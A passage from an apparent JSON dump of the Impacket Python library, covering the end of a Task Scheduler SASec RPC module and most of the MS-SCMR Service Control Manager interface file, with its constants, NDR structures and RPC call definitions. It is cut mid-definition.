3\n    structure = (\n        ('Handle', PSASEC_HANDLE),\n        ('pwszJobName', WSTR),\n        ('ccBufferSize', DWORD),\n        ('wszBuffer', WORD_ARRAY),\n    )\n\nclass SAGetAccountInformationResponse(NDRCALL):\n    structure = (\n        ('wszBuffer',WORD_ARRAY),\n        ('ErrorCode',ULONG),\n    )\n################################################################################\n# OPNUMs and their corresponding structures\n################################################################################\nOPNUMS = {\n 0 : (SASetAccountInformation, SASetAccountInformationResponse),\n 1 : (SASetNSAccountInformation, SASetNSAccountInformationResponse),\n 2 : (SAGetNSAccountInformation, SAGetNSAccountInformationResponse),\n 3 : (SAGetAccountInformation, SAGetAccountInformationResponse),\n}\n\n################################################################################\n# HELPER FUNCTIONS\n################################################################################\ndef checkNullString(string):\n    if string == NULL:\n        return string\n\n    if string[-1:] != '\\x00':\n        return string + '\\x00'\n    else:\n        return string\n\ndef hSASetAccountInformation(dce, handle, pwszJobName, pwszAccount, pwszPassword, dwJobFlags=0):\n    request = SASetAccountInformation()\n    request['Handle'] = handle\n    request['pwszJobName'] = checkNullString(pwszJobName)\n    request['pwszAccount'] = checkNullString(pwszAccount)\n    request['pwszPassword'] = checkNullString(pwszPassword)\n    request['dwJobFlags'] = dwJobFlags\n    return dce.request(request)\n\ndef hSASetNSAccountInformation(dce, handle, pwszAccount, pwszPassword):\n    request = SASetNSAccountInformation()\n    request['Handle'] = handle\n    request['pwszAccount'] = checkNullString(pwszAccount)\n    request['pwszPassword'] = checkNullString(pwszPassword)\n    return dce.request(request)\n\ndef hSAGetNSAccountInformation(dce, handle, ccBufferSize = MAX_BUFFER_SIZE):\n    request = SAGetNSAccountInformation()\n    request['Handle'] = handle\n    request['ccBufferSize'] = ccBufferSize\n    for _ in range(ccBufferSize):\n        request['wszBuffer'].append(0)\n    return dce.request(request)\n\ndef hSAGetAccountInformation(dce, handle, pwszJobName, ccBufferSize = MAX_BUFFER_SIZE):\n    request = SAGetAccountInformation()\n    request['Handle'] = handle\n    request['pwszJobName'] = checkNullString(pwszJobName)\n    request['ccBufferSize'] = ccBufferSize\n    for _ in range(ccBufferSize):\n        request['wszBuffer'].append(0)\n    return dce.request(request)\n"
  },
  {
    "path": "impacket/dcerpc/v5/scmr.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   [MS-SCMR] Interface implementation\n#\n#   Best way to learn how to use these calls is to grab the protocol standard\n#   so you understand what the call does, and then read the test case located\n#   at https://github.com/fortra/impacket/tree/master/tests/SMB_RPC\n#\n#   Some calls have helper functions, which makes it even easier to use.\n#   They are located at the end of this file.\n#   Helper functions start with \"h\"<name of the call>.\n#   There are test cases for them too.\n#\n# Author:\n#   Alberto Solino (@agsolino)\n#\n\nfrom impacket import system_errors\nfrom impacket.dcerpc.v5.dtypes import NULL, DWORD, LPWSTR, ULONG, BOOL, LPBYTE, ULONGLONG, PGUID, USHORT, LPDWORD, WSTR, \\\n    GUID, PBOOL, WIDESTR\nfrom impacket.dcerpc.v5.ndr import NDRCALL, NDR, NDRSTRUCT, NDRPOINTER, NDRPOINTERNULL, NDRUniConformantArray, NDRUNION\nfrom impacket.dcerpc.v5.rpcrt import DCERPCException\nfrom impacket.uuid import uuidtup_to_bin\n\nMSRPC_UUID_SCMR = uuidtup_to_bin(('367ABB81-9844-35F1-AD32-98F038001003', '2.0'))\n\nclass DCERPCSessionError(DCERPCException):\n    def __init__(self, error_string=None, error_code=None, packet=None):\n        DCERPCException.__init__(self, error_string, error_code, packet)\n\n    def __str__( self ):\n        key = self.error_code\n        if key in system_errors.ERROR_MESSAGES:\n            error_msg_short = system_errors.ERROR_MESSAGES[key][0]\n            error_msg_verbose = system_errors.ERROR_MESSAGES[key][1] \n            return 'SCMR SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose)\n        else:\n            return 'SCMR SessionError: unknown error code: 0x%x' % self.error_code\n\n################################################################################\n# CONSTANTS\n################################################################################\n\n# Access codes\nSERVICE_ALL_ACCESS            = 0X000F01FF\nSERVICE_CHANGE_CONFIG         = 0X00000002\nSERVICE_ENUMERATE_DEPENDENTS  = 0X00000008\nSERVICE_INTERROGATE           = 0X00000080\nSERVICE_PAUSE_CONTINUE        = 0X00000040\nSERVICE_QUERY_CONFIG          = 0X00000001\nSERVICE_QUERY_STATUS          = 0X00000004\nSERVICE_START                 = 0X00000010\nSERVICE_STOP                  = 0X00000020\nSERVICE_USER_DEFINED_CTRL     = 0X00000100\nSERVICE_SET_STATUS            = 0X00008000\n\n# Specific Access for SCM\nSC_MANAGER_LOCK               = 0x00000008\nSC_MANAGER_CREATE_SERVICE     = 0x00000002\nSC_MANAGER_ENUMERATE_SERVICE  = 0x00000004\nSC_MANAGER_CONNECT            = 0x00000001\nSC_MANAGER_QUERY_LOCK_STATUS  = 0x00000010\nSC_MANAGER_MODIFY_BOOT_CONFIG = 0x00000020\n\n# Service Types\nSERVICE_KERNEL_DRIVER         = 0x00000001\nSERVICE_FILE_SYSTEM_DRIVER    = 0x00000002\nSERVICE_WIN32_OWN_PROCESS     = 0x00000010\nSERVICE_WIN32_SHARE_PROCESS   = 0x00000020\nSERVICE_INTERACTIVE_PROCESS   = 0x00000100\nSERVICE_NO_CHANGE             = 0xffffffff\n\n# Start Types\nSERVICE_BOOT_START            = 0x00000000\nSERVICE_SYSTEM_START          = 0x00000001\nSERVICE_AUTO_START            = 0x00000002\nSERVICE_DEMAND_START          = 0x00000003\nSERVICE_DISABLED              = 0x00000004\nSERVICE_NO_CHANGE             = 0xffffffff\n\n# Error Control \nSERVICE_ERROR_IGNORE          = 0x00000000\nSERVICE_ERROR_NORMAL          = 0x00000001\nSERVICE_ERROR_SEVERE          = 0x00000002\nSERVICE_ERROR_CRITICAL        = 0x00000003\nSERVICE_NO_CHANGE             = 0xffffffff\n\n# Service Control Codes\nSERVICE_CONTROL_CONTINUE      = 0x00000003\nSERVICE_CONTROL_INTERROGATE   = 0x00000004\nSERVICE_CONTROL_PARAMCHANGE   = 0x00000006\nSERVICE_CONTROL_PAUSE         = 0x00000002\nSERVICE_CONTROL_STOP          = 0x00000001\nSERVICE_CONTROL_NETBINDADD    = 0x00000007\nSERVICE_CONTROL_NETBINDREMOVE = 0x00000008\nSERVICE_CONTROL_NETBINDENABLE = 0x00000009\nSERVICE_CONTROL_NETBINDDISABLE= 0x0000000A\n\n# Service State\nSERVICE_ACTIVE                = 0x00000001\nSERVICE_INACTIVE              = 0x00000002\nSERVICE_STATE_ALL             = 0x00000003\n\n# Current State\nSERVICE_CONTINUE_PENDING      = 0x00000005\nSERVICE_PAUSE_PENDING         = 0x00000006\nSERVICE_PAUSED                = 0x00000007\nSERVICE_RUNNING               = 0x00000004\nSERVICE_START_PENDING         = 0x00000002\nSERVICE_STOP_PENDING          = 0x00000003\nSERVICE_STOPPED               = 0x00000001\n\n# Controls Accepted\nSERVICE_ACCEPT_PARAMCHANGE           = 0x00000008\nSERVICE_ACCEPT_PAUSE_CONTINUE        = 0x00000002\nSERVICE_ACCEPT_SHUTDOWN              = 0x00000004\nSERVICE_ACCEPT_STOP                  = 0x00000001\nSERVICE_ACCEPT_HARDWAREPROFILECHANGE = 0x00000020\nSERVICE_ACCEPT_POWEREVENT            = 0x00000040\nSERVICE_ACCEPT_SESSIONCHANGE         = 0x00000080\nSERVICE_ACCEPT_PRESHUTDOWN           = 0x00000100\nSERVICE_ACCEPT_TIMECHANGE            = 0x00000200\nERVICE_ACCEPT_TRIGGEREVENT           = 0x00000400\n\n# Security Information\nDACL_SECURITY_INFORMATION     = 0x4\nGROUP_SECURITY_INFORMATION    = 0x2\nOWNER_SECURITY_INFORMATION    = 0x1\nSACL_SECURITY_INFORMATION     = 0x8\n\n# Service Config2 Info Levels\nSERVICE_CONFIG_DESCRIPTION              = 0x00000001\nSERVICE_CONFIG_FAILURE_ACTIONS          = 0x00000002\nSERVICE_CONFIG_DELAYED_AUTO_START_INFO  = 0x00000003\nSERVICE_CONFIG_FAILURE_ACTIONS_FLAG     = 0x00000004\nSERVICE_CONFIG_SERVICE_SID_INFO         = 0x00000005\nSERVICE_CONFIG_REQUIRED_PRIVILEGES_INFO = 0x00000006\nSERVICE_CONFIG_PRESHUTDOWN_INFO         = 0x00000007\nSERVICE_CONFIG_PREFERRED_NODE           = 0x00000009\nSERVICE_CONFIG_RUNLEVEL_INFO            = 0x0000000A\n\n# SC_ACTIONS Types\nSC_ACTION_NONE        = 0\nSC_ACTION_RESTART     = 1\nSC_ACTION_REBOOT      = 2\nSC_ACTION_RUN_COMMAND = 3\n\n# SERVICE_SID_INFO types\nSERVICE_SID_TYPE_NONE         = 0x00000000\nSERVICE_SID_TYPE_RESTRICTED   = 0x00000003\nSERVICE_SID_TYPE_UNRESTRICTED = 0x00000001\n\n# SC_STATUS_TYPE types\nSC_STATUS_PROCESS_INFO = 0\n\n# Notify Mask\nSERVICE_NOTIFY_CREATED          = 0x00000080\nSERVICE_NOTIFY_CONTINUE_PENDING = 0x00000010\nSERVICE_NOTIFY_DELETE_PENDING   = 0x00000200\nSERVICE_NOTIFY_DELETED          = 0x00000100\nSERVICE_NOTIFY_PAUSE_PENDING    = 0x00000020\nSERVICE_NOTIFY_PAUSED           = 0x00000040\nSERVICE_NOTIFY_RUNNING          = 0x00000008\nSERVICE_NOTIFY_START_PENDING    = 0x00000002\nSERVICE_NOTIFY_STOP_PENDING     = 0x00000004\nSERVICE_NOTIFY_STOPPED          = 0x00000001\n\n# SERVICE_CONTROL_STATUS_REASON_IN_PARAMSW Reasons\nSERVICE_STOP_CUSTOM    =  0x20000000\nSERVICE_STOP_PLANNED   =  0x40000000\nSERVICE_STOP_UNPLANNED =  0x10000000\n\n# SERVICE_TRIGGER triggers\nSERVICE_TRIGGER_TYPE_DEVICE_INTERFACE_ARRIVAL  = 1\nSERVICE_TRIGGER_TYPE_IP_ADDRESS_AVAILABILITY   = 2\nSERVICE_TRIGGER_TYPE_DOMAIN_JOIN               = 3\nSERVICE_TRIGGER_TYPE_FIREWALL_PORT_EVENT       = 4\nSERVICE_TRIGGER_TYPE_GROUP_POLICY              = 5\nSERVICE_TRIGGER_TYPE_NETWORK_ENDPOINT          = 6\nSERVICE_TRIGGER_TYPE_CUSTOM                    = 20\n\n# SERVICE_TRIGGER actions\nSERVICE_TRIGGER_ACTION_SERVICE_START = 0x00000001\nSERVICE_TRIGGER_ACTION_SERVICE_STOP  = 0x00000002\n\n# SERVICE_TRIGGER subTypes\nDOMAIN_JOIN_GUID                                = '1ce20aba-9851-4421-9430-1ddeb766e809' \nDOMAIN_LEAVE_GUID                               = 'ddaf516e-58c2-4866-9574-c3b615d42ea1'\nFIREWALL_PORT_OPEN_GUID                         = 'b7569e07-8421-4ee0-ad10-86915afdad09'\nFIREWALL_PORT_CLOSE_GUID                        = 'a144ed38-8e12-4de4-9d96-e64740b1a524'\nMACHINE_POLICY_PRESENT_GUID                     = '659FCAE6-5BDB-4DA9-B1FF-CA2A178D46E0'\nNETWORK_MANAGER_FIRST_IP_ADDRESS_ARRIVAL_GUID   = '4f27f2de-14e2-430b-a549-7cd48cbc8245'\nNETWORK_MANAGER_LAST_IP_ADDRESS_REMOVAL_GUID    = 'cc4ba62a-162e-4648-847a-b6bdf993e335'\nUSER_POLICY_PRESENT_GUID                        = '54FB46C8-F089-464C-B1FD-59D1B62C3B50'\n\n# SERVICE_TRIGGER_SPECIFIC_DATA_ITEM dataTypes\nSERVICE_TRIGGER_DATA_TYPE_BINARY      = 0x00000001\nSERVICE_TRIGGER_DATA_TYPE_STRING      = 0x00000002\nSERVICE_TRIGGER_DATA_TYPE_LEVEL       = 0x00000003\nSERVICE_TRIGGER_DATA_TYPE_KEYWORD_ANY = 0x00000004\nSERVICE_TRIGGER_DATA_TYPE_KEYWORD_ALL = 0x00000005\n\n################################################################################\n# STRUCTURES\n################################################################################\n\nclass BYTE_ARRAY(NDRUniConformantArray):\n    item = 'c'\n\nclass SC_RPC_HANDLE(NDRSTRUCT):\n    structure =  (\n        ('Data','20s=\"\"'),\n    )\n    def getAlignment(self):\n        return 1\n\nSC_NOTIFY_RPC_HANDLE = SC_RPC_HANDLE\n\nclass SERVICE_STATUS(NDRSTRUCT):\n    structure =  (\n        ('dwServiceType',DWORD),\n        ('dwCurrentState',DWORD),\n        ('dwControlsAccepted',DWORD),\n        ('dwWin32ExitCode',DWORD),\n        ('dwServiceSpecificExitCode',DWORD),\n        ('dwCheckPoint',DWORD),\n        ('dwWaitHint',DWORD),\n    )\n\nclass QUERY_SERVICE_CONFIGW(NDRSTRUCT):\n    structure = (\n        ('dwServiceType',DWORD),\n        ('dwStartType',DWORD),\n        ('dwErrorControl',DWORD),\n        ('lpBinaryPathName', LPWSTR),\n        ('lpLoadOrderGroup',LPWSTR),\n        ('dwTagId',DWORD),\n        ('lpDependencies',LPWSTR),\n        ('lpServiceStartName',LPWSTR),\n        ('lpDisplayName',LPWSTR),\n    )\n\nclass SC_RPC_LOCK(NDRSTRUCT):\n    structure =  (\n        ('Data','20s=\"\"'),\n    )\n    def getAlignment(self):\n        return 1\n\nclass LPSERVICE_STATUS(NDRPOINTER):\n    referent = (\n        ('Data',SERVICE_STATUS),\n    )\n\nSECURITY_INFORMATION = ULONG\n\nBOUNDED_DWORD_256K = DWORD\n\nclass LPBOUNDED_DWORD_256K(NDRPOINTER):\n    referent = (\n        ('Data', BOUNDED_DWORD_256K),\n    )\n\nSVCCTL_HANDLEW = LPWSTR\n\nclass ENUM_SERVICE_STATUSW(NDRSTRUCT):\n    structure = (\n        ('lpServiceName',LPWSTR),\n        ('lpDisplayName',LPWSTR),\n        ('ServiceStatus',SERVICE_STATUS),\n    )\n\nclass LPQUERY_SERVICE_CONFIGW(NDRPOINTER):\n    referent = (\n        ('Data', QUERY_SERVICE_CONFIGW),\n    )\n\nBOUNDED_DWORD_8K = DWORD\nBOUNDED_DWORD_4K = DWORD\n\nclass STRING_PTRSW(NDRSTRUCT):\n    structure = (\n        ('Data',NDRUniConformantArray),\n    )\n    def __init__(self, data = None, isNDR64 = False):\n        NDR.__init__(self,None,isNDR64)\n        self.fields['Data'].item = LPWSTR\n        if data is not None:\n            self.fromString(data)\n\nclass UNIQUE_STRING_PTRSW(NDRPOINTER):\n    referent = (\n        ('Data', STRING_PTRSW),\n    )\n\nclass QUERY_SERVICE_LOCK_STATUSW(NDRSTRUCT):\n    structure = (\n        ('fIsLocked',DWORD),\n        ('lpLockOwner',LPWSTR),\n        ('dwLockDuration',DWORD),\n    )\n\nclass SERVICE_DESCRIPTION_WOW64(NDRSTRUCT):\n    structure = (\n        ('dwDescriptionOffset', DWORD),\n    )\n\nclass SERVICE_DESCRIPTIONW(NDRSTRUCT):\n    structure = (\n        ('lpDescription', LPWSTR),\n    )\n\nclass LPSERVICE_DESCRIPTIONW(NDRPOINTER):\n    referent = (\n        ('Data', SERVICE_DESCRIPTIONW),\n    )\n\nclass SERVICE_FAILURE_ACTIONS_WOW64(NDRSTRUCT):\n    structure = (\n        ('dwResetPeriod', DWORD),\n        ('dwRebootMsgOffset', DWORD),\n        ('dwCommandOffset', DWORD),\n        ('cActions', DWORD),\n        ('dwsaActionsOffset', DWORD),\n    )\n\nclass SC_ACTION(NDRSTRUCT):\n    structure = (\n        ('Type', DWORD), \n        ('Delay', DWORD) , \n    )\n\nclass SC_ACTIONS(NDRSTRUCT):\n    structure = (\n       ('Data', NDRUniConformantArray),\n    )\n    def __init__(self, data = None, isNDR64 = False):\n        NDR.__init__(self,None,isNDR64)\n        self.fields['Data'].item = SC_ACTION\n        if data is not None:\n            self.fromString(data)\n\nclass SERVICE_FAILURE_ACTIONSW(NDRSTRUCT):\n    structure = (\n        ('dwResetPeriod', DWORD), \n        ('lpRebootMsg', LPWSTR) , \n        ('lpCommand', LPWSTR) , \n        ('cActions', DWORD) , \n        ('lpsaActions', SC_ACTIONS) , \n    )\n\nclass LPSERVICE_FAILURE_ACTIONSW(NDRPOINTER):\n    referent = (\n        ('Data', SERVICE_FAILURE_ACTIONSW),\n    )\n\nclass SERVICE_FAILURE_ACTIONS_FLAG(NDRSTRUCT):\n    structure = (\n        ('fFailureActionsOnNonCrashFailures', BOOL),\n    )\n\nclass LPSERVICE_FAILURE_ACTIONS_FLAG(NDRPOINTER):\n    referent = (\n        ('Data', SERVICE_FAILURE_ACTIONS_FLAG),\n    )\n\nclass SERVICE_DELAYED_AUTO_START_INFO(NDRSTRUCT):\n    structure = (\n        ('fDelayedAutostart', BOOL),\n    )\n\nclass LPSERVICE_DELAYED_AUTO_START_INFO(NDRPOINTER):\n    referent = (\n        ('Data', SERVICE_DELAYED_AUTO_START_INFO),\n    )\n\nclass SERVICE_SID_INFO(NDRSTRUCT):\n    structure = (\n        ('dwServiceSidType', DWORD),\n    )\n\nclass LPSERVICE_SID_INFO(NDRPOINTER):\n    referent = (\n        ('Data', SERVICE_SID_INFO),\n    )\n\n\nclass SERVICE_RPC_REQUIRED_PRIVILEGES_INFO(NDRSTRUCT):\n    structure = (\n        ('cbRequiredPrivileges',DWORD),\n        ('pRequiredPrivileges',LPBYTE),\n    )\n    def getData(self, soFar = 0):\n        self['cbRequiredPrivileges'] = len(self['pRequiredPrivileges'])\n        return NDR.getData(self, soFar = 0)\n\n\nclass LPSERVICE_RPC_REQUIRED_PRIVILEGES_INFO(NDRPOINTER):\n    referent = (\n        ('Data', SERVICE_RPC_REQUIRED_PRIVILEGES_INFO),\n    )\n\nclass SERVICE_REQUIRED_PRIVILEGES_INFO_WOW64(NDRSTRUCT):\n    structure = (\n        ('dwRequiredPrivilegesOffset', DWORD),\n    )\n\nclass SERVICE_PRESHUTDOWN_INFO(NDRSTRUCT):\n    structure = (\n        ('dwPreshutdownTimeout', DWORD),\n    )\n\nclass LPSERVICE_PRESHUTDOWN_INFO(NDRPOINTER):\n    referent = (\n        ('Data', SERVICE_PRESHUTDOWN_INFO),\n    )\n\nclass SERVICE_STATUS_PROCESS(NDRSTRUCT):\n    structure = (\n        ('dwServiceType', DWORD),\n        ('dwCurrentState', DWORD),\n        ('dwControlsAccepted', DWORD),\n        ('dwWin32ExitCode', DWORD),\n        ('dwServiceSpecificExitCode', DWORD),\n        ('dwCheckPoint', DWORD),\n        ('dwWaitHint', DWORD),\n        ('dwProcessId', DWORD),\n        ('dwServiceFlags', DWORD),\n    )\n\nclass UCHAR_16(NDRSTRUCT):\n    structure = (\n        ('Data', '16s=\"\"'),\n    )\n    def getAlignment(self):\n        return 1\n\nclass SERVICE_NOTIFY_STATUS_CHANGE_PARAMS_1(NDRSTRUCT):\n    structure = (\n        ('ullThreadId',ULONGLONG),\n        ('dwNotifyMask',DWORD),\n        ('CallbackAddressArray',UCHAR_16),\n        ('CallbackParamAddressArray',UCHAR_16),\n        ('ServiceStatus', SERVICE_STATUS_PROCESS),\n        ('dwNotificationStatus',DWORD),\n        ('dwSequence',DWORD),\n    )\n\nclass SERVICE_NOTIFY_STATUS_CHANGE_PARAMS_2(NDRSTRUCT):\n    structure = (\n        ('ullThreadId',ULONGLONG),\n        ('dwNotifyMask',DWORD),\n        ('CallbackAddressArray',UCHAR_16),\n        ('CallbackParamAddressArray',UCHAR_16),\n        ('ServiceStatus',SERVICE_STATUS_PROCESS),\n        ('dwNotificationStatus',DWORD),\n        ('dwSequence',DWORD),\n        ('dwNotificationTriggered',DWORD),\n        ('pszServiceNames',LPWSTR),\n    )\n\nclass PSERVICE_NOTIFY_STATUS_CHANGE_PARAMS_1(NDRPOINTER):\n    referent = (\n        ('Data', SERVICE_NOTIFY_STATUS_CHANGE_PARAMS_1),\n    )\n\nclass PSERVICE_NOTIFY_STATUS_CHANGE_PARAMS_2(NDRPOINTER):\n    referent = (\n        ('Data', SERVICE_NOTIFY_STATUS_CHANGE_PARAMS_2),\n    )\n\nclass SC_RPC_NOTIFY_PARAMS(NDRUNION):\n    union = {\n        1: ('pStatusChangeParam1', PSERVICE_NOTIFY_STATUS_CHANGE_PARAMS_1),\n        2: ('pStatusChangeParams', PSERVICE_NOTIFY_STATUS_CHANGE_PARAMS_2),\n    }\n\nclass SC_RPC_NOTIFY_PARAMS_ARRAY(NDRUniConformantArray):\n     item = SC_RPC_NOTIFY_PARAMS\n\nclass PSC_RPC_NOTIFY_PARAMS_LIST(NDRSTRUCT):\n    structure = (\n        ('cElements',BOUNDED_DWORD_4K),\n        ('NotifyParamsArray', SC_RPC_NOTIFY_PARAMS_ARRAY),\n    )\n\nclass SERVICE_CONTROL_STATUS_REASON_IN_PARAMSW(NDRSTRUCT):\n    structure = (\n        ('dwReason', DWORD),\n        ('pszComment', LPWSTR),\n    )\n\nclass SERVICE_TRIGGER_SPECIFIC_DATA_ITEM(NDRSTRUCT):\n    structure = (\n        ('dwDataType',DWORD ),\n        ('cbData',DWORD),\n        ('pData', LPBYTE),\n    )\n    def getData(self, soFar = 0):\n        if self['pData'] != 0:\n            self['cbData'] = len(self['pData'])\n        return NDR.getData(self, soFar)\n\nclass SERVICE_TRIGGER_SPECIFIC_DATA_ITEM_ARRAY(NDRUniConformantArray):\n    item = SERVICE_TRIGGER_SPECIFIC_DATA_ITEM\n\nclass PSERVICE_TRIGGER_SPECIFIC_DATA_ITEM(NDRPOINTER):\n    referent = (\n        ('Data', SERVICE_TRIGGER_SPECIFIC_DATA_ITEM_ARRAY),\n    )\n\nclass SERVICE_TRIGGER(NDRSTRUCT):\n    structure = (\n        ('dwTriggerType', DWORD),\n        ('dwAction', DWORD),\n        ('pTriggerSubtype', PGUID),\n        ('cDataItems', DWORD),\n        ('pDataItems', PSERVICE_TRIGGER_SPECIFIC_DATA_ITEM),\n    )\n    def getData(self, soFar = 0):\n        if self['pDataItems'] != 0:\n            self['cDataItems'] = len(self['pDataItems'])\n        return NDR.getData(self, soFar)\n\nclass SERVICE_TRIGGER_ARRAY(NDRUniConformantArray):\n    item = SERVICE_TRIGGER\n\nclass PSERVICE_TRIGGER(NDRPOINTER):\n    referent = (\n        ('Data', SERVICE_TRIGGER_ARRAY),\n    )\n\nclass SERVICE_CONTROL_STATUS_REASON_OUT_PARAMS(NDRSTRUCT):\n    structure = (\n       ('ServiceStatus', SERVICE_STATUS_PROCESS),\n    )\n\nclass SERVICE_TRIGGER_INFO(NDRSTRUCT):\n    structure = (\n        ('cTriggers', DWORD),\n        ('pTriggers', PSERVICE_TRIGGER),\n        ('pReserved', NDRPOINTERNULL ),\n    )\n    def getData(self, soFar = 0):\n        if self['pTriggers'] != 0:\n            self['cTriggers'] = len(self['pTriggers'])\n        return NDR.getData(self, soFar)\n    \nclass PSERVICE_TRIGGER_INFO(NDRPOINTER):\n    referent = (\n        ('Data', SERVICE_TRIGGER_INFO),\n    )\n\nclass SERVICE_PREFERRED_NODE_INFO(NDRSTRUCT):\n    structure = (\n        ('usPreferredNode', USHORT),\n        ('fDelete', BOOL),\n    )\n\nclass LPSERVICE_PREFERRED_NODE_INFO(NDRPOINTER):\n    referent = (\n        ('Data', SERVICE_PREFERRED_NODE_INFO),\n    )\n\nclass SERVICE_RUNLEVEL_INFO(NDRSTRUCT):\n    structure = (\n        ('eLowestRunLevel', DWORD),\n    )\n\nclass PSERVICE_RUNLEVEL_INFO(NDRPOINTER):\n    referent = (\n        ('Data', SERVICE_RUNLEVEL_INFO),\n    )\n\nclass SERVICE_MANAGEDACCOUNT_INFO(NDRSTRUCT):\n    structure = (\n        ('fIsManagedAccount', DWORD),\n    )\n\nclass PSERVICE_MANAGEDACCOUNT_INFO(NDRPOINTER):\n    referent = (\n        ('Data', SERVICE_MANAGEDACCOUNT_INFO),\n    )\n\nclass SC_RPC_CONFIG_INFOW_UNION(NDRUNION):\n    commonHdr = (\n        ('tag', ULONG),\n    )\n\n    union = {\n        1: ('psd', LPSERVICE_DESCRIPTIONW),\n        2: ('psfa',LPSERVICE_FAILURE_ACTIONSW ),\n        3: ('psda',LPSERVICE_DELAYED_AUTO_START_INFO),\n        4: ('psfaf',LPSERVICE_FAILURE_ACTIONS_FLAG),\n        5: ('pssid',LPSERVICE_SID_INFO),\n        6: ('psrp',LPSERVICE_RPC_REQUIRED_PRIVILEGES_INFO),\n        7: ('psps',LPSERVICE_PRESHUTDOWN_INFO),\n        8: ('psti',PSERVICE_TRIGGER_INFO),\n        9: ('pspn',LPSERVICE_PREFERRED_NODE_INFO),\n        10: ('psri',PSERVICE_RUNLEVEL_INFO),\n        11: ('psma',PSERVICE_MANAGEDACCOUNT_INFO),\n    }\n\nclass SC_RPC_CONFIG_INFOW(NDRSTRUCT):\n    structure = (\n        ('dwInfoLevel', DWORD),\n        ('Union', SC_RPC_CONFIG_INFOW_UNION),\n    )\n\n################################################################################\n# RPC CALLS\n################################################################################\n\nclass RCloseServiceHandle(NDRCALL):\n    opnum = 0\n    structure = (\n        ('hSCObject',SC_RPC_HANDLE),\n    )\n\nclass RCloseServiceHandleResponse(NDRCALL):\n    structure = (\n        ('hSCObject',SC_RPC_HANDLE),\n        ('ErrorCode', DWORD),\n    )\n\nclass RControlService(NDRCALL):\n    opnum = 1\n    structure = (\n        ('hService',SC_RPC_HANDLE),\n        ('dwControl',DWORD),\n    )\n\nclass RControlServiceResponse(NDRCALL):\n    structure = (\n        ('lpServiceStatus',SERVICE_STATUS),\n        ('ErrorCode', DWORD),\n    )\n\nclass RDeleteService(NDRCALL):\n    opnum = 2\n    structure = (\n        ('hService',SC_RPC_HANDLE),\n    )\n\nclass RDeleteServiceResponse(NDRCALL):\n    structure = (\n        ('ErrorCode', DWORD),\n    )\n\nclass RLockServiceDatabase(NDRCALL):\n    opnum = 3\n    structure = (\n        ('hSCManager',SC_RPC_HANDLE),\n    )\n\nclass RLockServiceDatabaseResponse(NDRCALL):\n    structure = (\n        ('lpLock',SC_RPC_LOCK),\n        ('ErrorCode', DWORD),\n    )\n\nclass RQueryServiceObjectSecurity(NDRCALL):\n    opnum = 4\n    structure = (\n        ('hService',SC_RPC_HANDLE),\n        ('dwSecurityInformation',SECURITY_INFORMATION),\n        ('cbBufSize',DWORD),\n    )\n\nclass RQueryServiceObjectSecurityResponse(NDRCALL):\n    structure = (\n        ('lpSecurityDescriptor', BYTE_ARRAY),\n        ('pcbBytesNeeded',BOUNDED_DWORD_256K),\n        ('ErrorCode', DWORD),\n    )\n\nclass RSetServiceObjectSecurity(NDRCALL):\n    opnum = 5\n    structure = (\n        ('hService',SC_RPC_HANDLE),\n        ('dwSecurityInformation',SECURITY_INFORMATION),\n        ('lpSecurityDescriptor',BYTE_ARRAY),\n        ('cbBufSize',DWORD),\n    )\n\nclass RSetServiceObjectSecurityResponse(NDRCALL):\n    structure = (\n        ('ErrorCode', DWORD),\n    )\n\nclass RQueryServiceStatus(NDRCALL):\n    opnum = 6\n    structure = (\n        ('hService',SC_RPC_HANDLE),\n    )\n\nclass RQueryServiceStatusResponse(NDRCALL):\n    structure = (\n        ('lpServiceStatus',SERVICE_STATUS),\n        ('ErrorCode', DWORD),\n    )\n\nclass RSetServiceStatus(NDRCALL):\n    opnum = 7\n    structure = (\n        ('hServiceStatus',SC_RPC_HANDLE),\n        ('lpServiceStatus',SERVICE_STATUS),\n    )\n\nclass RSetServiceStatusResponse(NDRCALL):\n    structure = (\n        ('ErrorCode', DWORD),\n    )\n\nclass RUnlockServiceDatabase(NDRCALL):\n    opnum = 8\n    structure = (\n        ('Lock',SC_RPC_LOCK),\n    )\n\nclass RUnlockServiceDatabaseResponse(NDRCALL):\n    structure = (\n        ('Lock',SC_RPC_LOCK),\n        ('ErrorCode', DWORD),\n    )\n\nclass RNotifyBootConfigStatus(NDRCALL):\n    opnum = 9\n    structure = (\n        ('lpMachineName',SVCCTL_HANDLEW),\n        ('BootAcceptable',DWORD),\n    )\n\nclass RNotifyBootConfigStatusResponse(NDRCALL):\n    structure = (\n        ('ErrorCode', DWORD),\n    )\n\nclass RChangeServiceConfigW(NDRCALL):\n    opnum = 11\n    structure = (\n        ('hService',SC_RPC_HANDLE),\n        ('dwServiceType',DWORD),\n        ('dwStartType',DWORD),\n        ('dwErrorControl',DWORD),\n        ('lpBinaryPathName',LPWSTR),\n        ('lpLoadOrderGroup',LPWSTR),\n        ('lpdwTagId',LPDWORD),\n        ('lpDependencies',LPBYTE),\n        ('dwDependSize',DWORD),\n        ('lpServiceStartName',LPWSTR),\n        ('lpPassword',LPBYTE),\n        ('dwPwSize',DWORD),\n        ('lpDisplayName',LPWSTR),\n    )\n\nclass RChangeServiceConfigWResponse(NDRCALL):\n    structure = (\n        ('lpdwTagId',LPDWORD),\n        ('ErrorCode', DWORD),\n    )\n\nclass RCreateServiceW(NDRCALL):\n    opnum = 12\n    structure = (\n        ('hSCManager',SC_RPC_HANDLE),\n        ('lpServiceName',WSTR),\n        ('lpDisplayName',LPWSTR),\n        ('dwDesiredAccess',DWORD),\n        ('dwServiceType',DWORD),\n        ('dwStartType',DWORD),\n        ('dwErrorControl',DWORD),\n        ('lpBinaryPathName',WSTR),\n        ('lpLoadOrderGroup',LPWSTR),\n        ('lpdwTagId',LPDWORD),\n        ('lpDependencies',LPBYTE),\n        ('dwDependSize',DWORD),\n        ('lpServiceStartName',LPWSTR),\n        ('lpPassword',LPBYTE),\n        ('dwPwSize',DWORD),\n    )\n\nclass RCreateServiceWResponse(NDRCALL):\n    structure = (\n        ('lpdwTagId',LPWSTR),\n        ('lpServiceHandle',SC_RPC_HANDLE),\n        ('ErrorCode', DWORD),\n    )\n\nclass REnumDependentServicesW(NDRCALL):\n    opnum = 13\n    structure = (\n        ('hService',SC_RPC_HANDLE),\n        